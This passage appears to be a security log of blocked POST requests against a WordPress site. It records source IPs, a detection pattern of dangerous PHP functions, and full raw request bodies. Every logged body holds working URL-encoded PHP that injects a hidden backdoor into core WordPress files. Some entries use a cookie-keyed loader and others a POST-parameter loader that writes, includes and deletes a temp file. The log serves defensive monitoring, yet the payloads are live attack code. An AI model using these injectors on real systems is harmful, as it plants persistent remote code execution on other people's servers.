3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:50:31","123.30.233.13","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ID3\/getid3.lib.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B29%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B29%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B21%255D%2528%2529.%2524p%255B10%255D%253Bif%2528%2521%2524p%255B24%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B20%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B3%255D.%2524p%255B19%255D%2528%2524p%255B12%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"macOS\"\ncontent-length:3265\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\nsec-fetch-site:none\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ID3\/getid3.lib.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B29%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B29%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B21%255D%2528%2529.%2524p%255B10%255D%253Bif%2528%2521%2524p%255B24%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B20%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B3%255D.%2524p%255B19%255D%2528%2524p%255B12%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 10:50:37","160.250.186.220","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ow:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ID3\/getid3.lib.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B29%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B29%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B21%255D%2528%2529.%2524p%255B10%255D%253Bif%2528%2521%2524p%255B24%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B20%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B3%255D.%2524p%255B19%255D%2528%2524p%255B12%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:3242\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvG3pvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nOw=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ID3\/getid3.lib.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B29%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B29%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B21%255D%2528%2529.%2524p%255B10%255D%253Bif%2528%2521%2524p%255B24%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B20%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B3%255D.%2524p%255B19%255D%2528%2524p%255B12%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:51:03","129.121.41.228","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IO:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/widgets\/class-wp-widget-recent-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522%255Cx70%255Cx67rp%2522%2529%2529%257B%2520%2524element%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70%255Cx67rp%2522%255D%253B%2520%2524element%253Dexplode%2520%2528%2522.%2522%2520%252C%2520%2524element%2520%2529%2520%253B%2520%2524dat%2520%253D%2527%2527%253B%2520%2524s%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253Dstrlen%2528%2524s%2529%253B%2520%2524q%2520%253D0%253B%2520array_walk%2528%2524element%2520%252Cfunction%2520%2528%2524v2%2529%2520use%2520%2528%2526%2524dat%2520%252C%2526%2524q%2520%252C%2524s%2520%252C%2524sLen%2529%2520%257B%2520%2524chS%2520%253Dord%2528%2524s%255B%2524q%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2528%2528int%2529%2524v2%2520-%2520%2524chS%2520-%2520%2528%2524q%2520%2525%252010%2529%2529%255E84%253B%2520%2524dat%2520.%253Dchr%2528%2524d%2529%253B%2520%2524q%252B%252B%253B%2520%257D%2520%2529%253B%2520%2524record%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524record%2520as%2520%2524object%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524object%2529%2520%252A%2520is_writable%2528%2524object%2529%2529%2529%2520%257B%2520%2524key%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524object%252C%2520%2522.ent%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524key%252C%2520%2524dat%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524key%253B%2520unlink%2528%2524key%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:4464\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFH8vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nIO=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/widgets\/class-wp-widget-recent-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522%255Cx70%255Cx67rp%2522%2529%2529%257B%2520%2524element%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70%255Cx67rp%2522%255D%253B%2520%2524element%253Dexplode%2520%2528%2522.%2522%2520%252C%2520%2524element%2520%2529%2520%253B%2520%2524dat%2520%253D%2527%2527%253B%2520%2524s%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253Dstrlen%2528%2524s%2529%253B%2520%2524q%2520%253D0%253B%2520array_walk%2528%2524element%2520%252Cfunction%2520%2528%2524v2%2529%2520use%2520%2528%2526%2524dat%2520%252C%2526%2524q%2520%252C%2524s%2520%252C%2524sLen%2529%2520%257B%2520%2524chS%2520%253Dord%2528%2524s%255B%2524q%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2528%2528int%2529%2524v2%2520-%2520%2524chS%2520-%2520%2528%2524q%2520%2525%252010%2529%2529%255E84%253B%2520%2524dat%2520.%253Dchr%2528%2524d%2529%253B%2520%2524q%252B%252B%253B%2520%257D%2520%2529%253B%2520%2524record%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524record%2520as%2520%2524object%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524object%2529%2520%252A%2520is_writable%2528%2524object%2529%2529%2529%2520%257B%2520%2524key%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524object%252C%2520%2522.ent%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524key%252C%2520%2524dat%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524key%253B%2520unlink%2528%2524key%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:51:24","52.232.35.131","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> xc:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/widgets\/class-wp-widget-recent-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522%255Cx70%255Cx67rp%2522%2529%2529%257B%2520%2524element%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70%255Cx67rp%2522%255D%253B%2520%2524element%253Dexplode%2520%2528%2522.%2522%2520%252C%2520%2524element%2520%2529%2520%253B%2520%2524dat%2520%253D%2527%2527%253B%2520%2524s%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253Dstrlen%2528%2524s%2529%253B%2520%2524q%2520%253D0%253B%2520array_walk%2528%2524element%2520%252Cfunction%2520%2528%2524v2%2529%2520use%2520%2528%2526%2524dat%2520%252C%2526%2524q%2520%252C%2524s%2520%252C%2524sLen%2529%2520%257B%2520%2524chS%2520%253Dord%2528%2524s%255B%2524q%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2528%2528int%2529%2524v2%2520-%2520%2524chS%2520-%2520%2528%2524q%2520%2525%252010%2529%2529%255E84%253B%2520%2524dat%2520.%253Dchr%2528%2524d%2529%253B%2520%2524q%252B%252B%253B%2520%257D%2520%2529%253B%2520%2524record%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524record%2520as%2520%2524object%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524object%2529%2520%252A%2520is_writable%2528%2524object%2529%2529%2529%2520%257B%2520%2524key%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524object%252C%2520%2522.ent%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524key%252C%2520%2524dat%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524key%253B%2520unlink%2528%2524key%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29